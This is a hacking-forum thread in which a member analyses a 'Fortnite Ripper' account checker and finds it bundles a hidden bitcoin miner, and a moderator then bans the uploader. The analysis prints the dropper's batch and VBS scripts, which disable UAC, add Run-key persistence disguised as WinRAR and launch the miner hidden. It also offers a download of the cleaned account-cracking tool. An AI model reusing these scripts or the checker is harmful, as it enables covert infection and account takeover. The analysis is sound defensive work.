[tonix01]

Link removed- Staff.

[mothered]

Thread moved from Hacking Tools to Cracking Tools.

In compliance with forum rules, an online virus scan report must be provided with each file you reference/personally upload and contribute. Please do so at your earliest convenience.

[hassensousse]

PLEASE I'M NEW IN THIS FORUM

[mothered]

PLEASE I'M NEW IN THIS FORUM

Meaning?

[Enteaarmyyy]

nice man nice nice thanks nice niceeeeeeeee

[miso]

@mothered , malicious application (bitcoin miner) | Actual application download available below

Downloaded FIles (1):
Virustotal Scan [32/59] (FORTNITE RIPPER V2.0 WITH UPDATED API.rar)

Extracted FIles (5):
Virustotal Scan [0/67] (Newtonsoft.Json.dll)
Virustotal Scan [1/72] (Leaf.xNet.dll)
Virustotal Scan [20/71] (FORTNITE RIPPER.exe)
Virustotal Scan [49/69] (Fortnite Checker.exe) | Self-Extracting Installer
Virustotal Scan [0/68] (Colorful.Console.dll)

Extracted Files (from "Fortnite Checker.exe") (9):
Virustotal Scan [51/71] (game.exe) Bitcoin Miner
Virustotal Scan [0/71] (msvcp.dll)
Virustotal Scan [0/67] (nvcuda.dll)
Virustotal Scan [0/70] (nvfatbinaryLoader.dll)
Virustotal Scan [0/69] (nvrtc64_92.dll)
Virustotal Scan [0/71] (nvrtc-builtins64_92.dll)
Virustotal Scan [0/67] (OpenCL.dll)
Virustotal Scan [23/68] (update.exe) (also contains 1 malicious .vbs & 1 .cmd script)
Virustotal Scan [0/67] (vcruntime140.dll)
+ 2 Malicious .cmd & 2 Malicious .vbs script (3 with the ones present in "updater.exe")

Download actual application:

Spoiler:

Please make sure you run the application under a VM or a sandbox

Virustotal Scan [22/61] (.zip Archive)
Virustotal Scan [20/71] (FORTNITE RIPPER.exe)
Download (mega.nz)

Code:

Unpacked Files: - FORTNITE RIPPER V2.0 WITH UPDATED API.rar | Virustotal Scan [32/59]: https://www.virustotal.com/gui/file/66ea3fb5fb05646b0bd27a250797a731b9b9a1fad89ad8f049f945c20122941c/detection   |- Results     |- 11-19-19         |- V-Bucks           |- 100+.txt           |- UserAmount.txt         |- All-Hits.txt         |- No-Skins.txt   |- Colorful.Console.dll | Virustotal Scan [0/68]: https://www.virustotal.com/gui/file/f31d4fd7e729fc6cf4ecab972b6b1ee897918a325b1ca572030966f831e768fb/detection   |- Fortnite Checker.exe | Self-Extracting Installer | Virustotal Scan [49/69]: https://www.virustotal.com/gui/file/f9e9e5f997821e830605124015a2edc4589d2433925cbfd3a4166315f479b7da/detection     |- game.exe | Bitcoin Miner | Virustotal Scan [51/71]: https://www.virustotal.com/gui/file/4fb0ef737f62f0500b41e9bc1b75d8f123fb4f04098ee248203b797dafbb7d98/detection     |- msvcp.dll | Virustotal Scan [0/71]: https://www.virustotal.com/gui/file/9d770c363f3e20e3ff9bc30aa6c96baff3845a23e12854fd28b63916b5a12ccd/detection     |- nvcuda.dll | Virustotal Scan [0/67]: https://www.virustotal.com/gui/file/53e530941b9fbb970a8e4aed6c36a56790aed122da4308551e4b6c80a7a66f74/detection     |- nvfatbinaryLoader.dll | Virustotal [0/70]: https://www.virustotal.com/gui/file/f1f005d4c718f23936020e6ce025f87db43bbc56be1d85ad4018a180fa552773/detection     |- nvrtc64_92.dll | Virustotal Scan [0/69]: https://www.virustotal.com/gui/file/a4a0e8f95006bac4fd1408d75387e30cd3e0c16c821d5b3f96ea0fe0c7de07ab/detection     |- nvrtc-builtins64_92.dll | Virustotal Scan [0/71]: https://www.virustotal.com/gui/file/33b088a56b28194259d276b19c274a88c939bec88ab45ef1f3fdba9717154f53/detection     |- OpenCL.dll | Virustotal Scan [0/67]: https://www.virustotal.com/gui/file/aaf654c4779bb94adb94819a18ad4e7db9500e4875e1b2e5c24014cef6036625/detection     |- setup.bat     |- setup.vbs     |- start.bat     |- start.vbs     |- update.exe | WinRAR SFX | Virustotal Scan [23/68]: https://www.virustotal.com/gui/file/fba5816196ecc4760b222034d418171a35596218629934bd92794893e8e2bcaf/detection         |- setup.bat         |- start.vbs     |- vcruntime140.dll | Virustotal Scan [0/67]: https://www.virustotal.com/gui/file/3761dfb440b0e16a69dd69b325beedf4140370a99df242ace415a83b86a34f98/detection   |- FORTNITE RIPPER.exe | Main Application | Virustotal Scan [20/71]: https://www.virustotal.com/gui/file/631fb0dc93548d951b8148ad75ad64dceceeb8b3561dc34a59bf3cec21d3c93b/detection   |- Leaf.xNet.dll | Virustotal Scan [1/72]: https://www.virustotal.com/gui/file/25a6bcbfdac13d3d423b7091e0decd59e8c0833f1c73641e2b8bec9196bbaed0/detection   |- Newtonsoft.Json.dll | Virustotal Scan [0/67]: https://www.virustotal.com/gui/file/3598cccad5b535fea6f93662107a4183bfd6167bf1d0f80260436093edc2e3af/detection   ### - game.exe - ### ### MD: CodeLang: Obj-C / C / C++ ### - FORTNITE RIPPER.EXE - ### ### MD: CodeLang: C# Obfuscated: No (contains anti-debugging code (detection of dnspy-x86, app closes if found)) ### - setup.bat - ### ### Code: Reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f SET INSTALLPATH="%appdata%"\text mkdir %INSTALLPATH% copy *.* %INSTALLPATH% REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Winrar" /t REG_SZ /d "%appdata%\text\update.exe" /f %appdata%\text\update.exe %appdata%\text\start.vbs del /f /q *.* ### - setup.vbs | start.vbs - ### ### Code: Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "setup.bat" & Chr(34), 0 Set WshShell = Nothing ### - start.cmd - ### ### Code: game -u qmve4tkn2mhef0e --xmr 2

[mothered]

@miso, as per usual, magnificent work with your analysis.

I've removed the link and action has been taken against the OP accordingly.